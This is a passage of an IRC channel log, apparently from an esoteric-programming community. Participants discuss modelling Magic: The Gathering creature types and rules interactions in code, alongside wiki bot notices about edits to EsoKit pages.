Giant Gnome Goat Goblin God Golem Gorgon Graveborn Gremlin Griffin Hag Harpy Hellion Hippo Hippogriff Homarid Homunculus Horror Horse Hound Human Hydra Hyena Illusion Imp Incarnation Insect Jellyfish Juggernaut Kavu Kirin Kithkin Knight Kobold Kor Kraken Lamia Lammasu Leech Leviathan Lhurgoyf Licid Lizard Manticore Masticore Mercenary Merfolk Metathran 22:34:08 Minion Minotaur Monger Mongoose Monk Moonfolk Mutant Myr Mystic Naga Nautilus Nephilim Nightmare Nightstalker Ninja Noggle Nomad Nymph Octopus Ogre Ooze Orb Orc Orgg Ouphe Ox Oyster Pegasus Pentavite Pest Phelddagrif Phoenix Pincher Pirate Plant Praetor Prism Processor Rabbit Rat Rebel Reflection Rhino Rigger Rogue Sable Salamander Samurai Sand Saproling Satyr Scarecrow Scion Scorpion Scout Serf Serpent Shade Shaman Shapeshifter Sheep Siren Skeleton 22:34:08 Slith Sliver Slug Snake Soldier Soltari Spawn Specter Spellshaper Sphinx Spider Spike Spirit Splinter Sponge Squid Squirrel Starfish Surrakar Survivor Tetravite Thalakos Thopter Thrull Treefolk Triskelavite Troll Turtle Unicorn Vampire Vedalken Viashino Volver Wall Warrior Weird Werewolf Whale Wizard Wolf Wolverine Wombat Worm Wraith Wurm Yeti Zombie Zubera" printed on it isn't really what I want to do. 22:36:35 tswett: then make a class and functions that abstract this functionality, by representing an effective set of creature types as either a set of them or the complement set, whichever is more convenient? 22:37:10 I figure I'll just represent a creature type as a Func. 22:37:15 with all the necessary functions to operate on that set, eg. add a creature type non-destructively, construct an empty set, construct a full set, check membership 22:37:22 tswett: what is Func? 22:37:40 The type of a function. 22:37:49 tswett: nope. don't forget that you have to be able to check quickly whether two creatures share a creature type. 22:37:54 [wiki] [[EsoKit]] N http://esolangs.org/w/index.php?oldid=45037 * Hppavilion1 * (+6554) Created base page. 22:37:59 Ah, right. 22:39:04 Okay, then. I'll have a class called "CreatureTypeSet". 22:40:00 tswett: further, there's a subtilty why, even if you don't care about efficiency, you have to treat Woodland Changeling and similar cards as having only Shapeshifter in the type line, despite that they have all creature types at all times: 22:40:46 the text-changing effect of Artificial Evolution can change a creature type on the type line to another type (even to a type that already appears), but it can't change the types of a Woodland Changeling 22:40:56 (welcome to M:tG) 22:42:50 Thus, you have to know about the type line separately. 22:43:17 Now, is it possible for a characteristic-defining ability to stop having its effect? 22:43:35 Like, can a creature with Devoid lose Devoid, causing it to have the color implied by its mana cost? 22:44:41 tswett: some characteristic-defining effects that define the p/t of a creature work only on the battlefield 22:45:18 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:46:29 tswett: also, anything that overwrites copyable values, namely copy effects, object being face down, object observed in a hidden zone without being revealed, split/flip/transformed cards, can disable the characteristic-defining effect 22:47:10 tswett: but you can't just have a creature lose devoid like that, because all those effects overwrite the whole text of the card 22:47:17 More specific question. Suppose a creature whose mana cost is B and which has Devoid is affected by an effect that says it loses all abilities. Does it become black? 22:48:12 [wiki] [[EsoKit]] http://esolangs.org/w/index.php?diff=45038&oldid=45037 * Hppavilion1 * (+1086) Fixed a header error, added EsoKit.dev section to primary submodules (forgot about it on the first pass! Whoops!), Libraries section. 22:48:20 tswett: text-changing effects and splice effects can modify or copy characteristic-defining abilities, but I think nothing you can splice has such an ability so that doesn't matter 22:48:43 tswett: no, a Humbled devoid creature is still colorless, because of the layering rules 22:48:52 Hi tswett! 22:49:25 Hey there. 22:49:57 i got 100% on that challenge, this is my code http://arin.ga/AfiHfV/raw 22:50:01 is there a better way? 22:50:14 https://www.codeeval.com/open_challenges/44/ this challenge 22:50:14 Text-changing can modify a characteristic-defining ability, namely you could artificially evolve a Coiling Woodworm or Darkmoor Sorceress to care about your Islands 22:50:26 (all Islands on the bf, in the first case) 22:50:39 it takes too long 22:51:00 Um, not artificially evolve, but whatever those two cards are that can change a land type in text. 22:51:14 Now, is it reasonably possible for a creature to have all creature types *except* for one or two? 22:51:18 Magical Hack 22:51:31 tswett: that's a good question. I'm not sure. 22:52:00 tswett: it's "reasonably possible" in that it might be possible with something they'll print in the future, but I'm not sure if there's already such a card 22:52:07 Right. 22:52:12 tswett: I'm thinking of mostly an effect that removes a specific creature type. 22:52:21 [wiki] [[EsoKit]] M http://esolangs.org/w/index.php?diff=45039&oldid=45038 * Hppavilion1 * (+142) Added a new EsoKit.ek thing 22:52:28 It is probably already possible, but I don't know an example off-hand 22:52:29 Of course, it's also unreasonably possible, in that you could just add all creature types one by one or something. 22:52:46 You know what, that's something that could plausibly happen in a game. 22:52:52 sure 22:52:55 Assuming there's actually an effect that adds a creature type. 22:53:11 of course there is 22:53:25 Conspiracy is inefficient 22:53:39 Hmmm... I wonder what to do about the fact that Magic is uncomputable. 22:54:14 "Just throw an exception whenever you encounter an uncomputable situation", says the beginning CS student. 22:54:44 tswett: Mistform Sliver is the more efficient way 22:55:04 There you go. 22:55:31 Now just find yourself an unlimited mana combo and say, "I add all creature types except Wolf to this, in alphabetical order." 22:56:17 And hope your opponent doesn't say, "Okay, so are you activating the ability an odd or an even number of times?" 22:56:36 tswett: even. might repeat some creature types, but who cares. 22:58:18 -!- shu1 has joined. 22:58:35 [wiki] [[EsoKit]] M http://esolangs.org/w/index.php?diff=45040&oldid=45039 * Hppavilion1 * (+172) EsoKit.nsi.io.err: Just a slight variant. 22:58:37 do you lose the game if you announce that, the opponent asks you to do it step by step, and you then leave out some creature type? 22:58:53 int-e: no, why would you? 22:59:05 just a thought 22:59:38 (no, of course not, since there's no such rule...) 22:59:56 hmm, but perhaps you could make a card 23:00:23 int-e: you could set up a combo where you win only if your creature has all creature types, probably 23:00:51 -!- oerjan has quit (Quit: leaving). 23:01:14 hmm, something where your opponent gets to name a creature type, perhaps... 23:01:26 Yeah, if your opponent has "Choose a creature type. Destroy target creature that doesn't have that creature type." 23:01:43 Hmm. There are two possible wordings of that that are a little different. 23:02:01 int-e: no, it's quite simple. just have a Lord of Atlantis, you're attacking with a bear with all creature types already added, and your opponent has a Magical Hack he's playing on your lord 23:02:11 he's on 3 life so you win only if the Lord boosts the bear 23:02:18 That one would require you to choose a type when you cast it, and if the creature loses that type, the spell is countered. 23:02:21 no need to be all taht complicated 23:02:35 It could instead say: "Choose a creature type. If target creature doesn't have that creature type, destroy it." 23:02:43 Now you choose the creature when you cast it and the type when it resolves. 23:02:46 I think. 23:02:53 tswett: that's easy. M-Hack on Eyeblight's Ending. 23:03:31 (or M-Hack on Rend Flesh) 23:03:36 Man, implementing text-changing effects is gonna be interesting. 23:04:30 Instead of a card referring to "Color.Red", it'd have to refer to "this.ModifiedTextColors.Red" to get the color which the printed word "red" currently refers to due to text-changing effects. 23:04:53 A stupid way of doing that would be to have a member called "Color" which shadows the class... or would the class shadow the member? I don't remember. 23:08:07 wait what 23:08:20 is there only one card with four or more creature types on the type line according to current oracle text? 23:08:24 how the heck did they do that? 23:08:30 I thought there had to be dozens of such cards 23:08:53 What card is that? 23:09:18 Seton's Scout 23:09:25 it's a Centaur Druid Scout Archer 23:09:28 -!- shu1 has left. 23:10:02 mind you, Figure of Destiny evolves (not as in the rules term) to a Kithkin Spirit Warrior Avatar 23:10:38 Wonder if they errata'd Scout in because it has "Scout" in the title and Archer in because it's depicted with a bow and arrow. 23:10:46 tswett: yes 23:11:20 probably around the Great Creature Type Update at Lorwyn 23:11:32 -!- adu has joined. 23:12:28 but I thought there had to be a lot of creatures with four creature types in the oracle text. not printed, mind you, four creature types wouldn't fit on the type line except in very unusual circumstances, but oracled after the fact. 23:13:42 hmm, ok, maybe not _that_ unusual 23:15:42 "Creature – Kor Nomad Solider Zombie" or "Creature – Kor Shaman Elder Scout" could probably fit, if the expansion symbol isn't a wide one 23:16:22 Assembly-Worker Dreadnought Homunculus Shapeshifter. 23:16:33 That's what I'm going to name my first child. Assembly-Worker Dreadnought Homunculus Shapeshifter Swett. 23:17:00 "David?" "Here." "Maureen?" "Here." "Assembly-Worker?" "Here." 23:17:53 what if Sauron was a Legendary Creature – God Eye ? 23:18:25 Elder is one of the crazier creature types by the way 23:18:50 only the Elder Dragons have it now 23:21:34 And the cards that has all creature types too, would have to have it too 23:21:55 sure 23:23:53 [wiki] [[EsoKit/EsoKit.nsi.io]] N http://esolangs.org/w/index.php?oldid=45041 * Hppavilion1 * (+3137) Created page. Next step is to document what each command is and how it is mapped to the EsoKit.ek library. 23:24:41 Nightmare and Horror are strange creature types too 23:24:46 I'm not sure how they're supposed to work 23:25:05 what is it that makes a creature a nightmare, a horror, or a nightmare horror? 23:25:57 many of the Horrors seem to be what would count as demons in D&D 23:26:01 [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45042&oldid=45041 * Hppavilion1 * (+95) Changed command form 23:26:35 [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45043&oldid=45042 * Hppavilion1 * (+1) Fixed a < to < 23:27:46 Is there a way to use wikimarkup or parserfunctions to change how the title appears? 23:27:48 I think there is 23:27:54 Imma go check the main page 23:29:03 [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45044&oldid=45043 * Hppavilion1 * (+29) Attempted to fix the page title 23:29:24 [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45045&oldid=45044 * Hppavilion1 * (+8) Attempted to fix the page title 23:30:48 [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45046&oldid=45045 * Hppavilion1 * (-37) Gave up on the page title; leaving it as-is (I suppose it makes more visible logical sense this way) 23:31:19 -!- evalj has quit (Remote host closed the connection). 23:32:07 [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45047&oldid=45046 * Hppavilion1 * (+121) String special characters 23:34:32 [wiki] [[Special:Log/move]] move * Hppavilion1 * moved [[Material Measurements]] to [[EsoKit/EsoKit.ek.math.mm]]: Incorporated into a new library 23:37:31 [wiki] [[EsoKit/EsoKit.ek.math.mm]] http://esolangs.org/w/index.php?diff=45050&oldid=45048 * Hppavilion1 * (+377) Incorporated properly into the EsoKit. 23:39:02 [wiki] [[EsoKit/EsoKit.ek.math.mm]] M http://esolangs.org/w/index.php?diff=45051&oldid=45050 * Hppavilion1 * (+1) Formatting 23:54:31 [wiki] [[Pantheon]] N http://esolangs.org/w/index.php?oldid=45052 * Hppavilion1 * (+549) Created Page